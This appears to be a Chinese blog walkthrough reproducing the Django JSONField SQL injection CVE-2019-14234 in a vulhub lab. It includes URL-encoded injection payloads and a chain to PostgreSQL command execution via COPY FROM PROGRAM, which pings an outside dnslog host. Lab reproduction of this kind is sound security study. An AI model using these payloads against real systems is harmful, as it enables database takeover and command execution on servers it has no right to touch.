Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

Django是一个开放源代码的Web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS软件。并于2005年7月在BSD许可证下发布。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

漏洞影响版本:

Django 主开发分支

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本环境采用vulhub搭建

执行以下命令完成环境搭建

cd vulhub/django/CVE-2019-14234/

docker-compose up -d

启动完毕后信息如下

漏洞链接:http://192.168.101.152:8000/

访问如下图所示

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第1张

首先访问http://192.168.101.152:8000/admin/登录后台,账户密码为admin/a123123123

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第2张

二、利用流程

登录后台后首先访问模型Collection的管理页面

http://192.168.101.152:8000/admin/vuln/collection/

添加get参数detail__a'引发sql语句报错,其中detail是模型Collection的JSONField

http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第3张

构造语句

http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--

由于or 1=1 永远为真,所以返回所有结果

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第4张

Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

首先访问

http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20

显示no results to fetch,语句已经执行

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第5张

之后访问

http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20h7f2ni.dnslog.cn%20%27--%20

执行命令

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的  django 第6张

可以看到,命令已经成功执行

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注蜗牛博客行业资讯频道,感谢您对蜗牛博客的支持。

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:niceseo99@gmail.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

评论

有免费节点资源,我们会通知你!加入纸飞机订阅群

×
天气预报查看日历分享网页手机扫码留言评论Telegram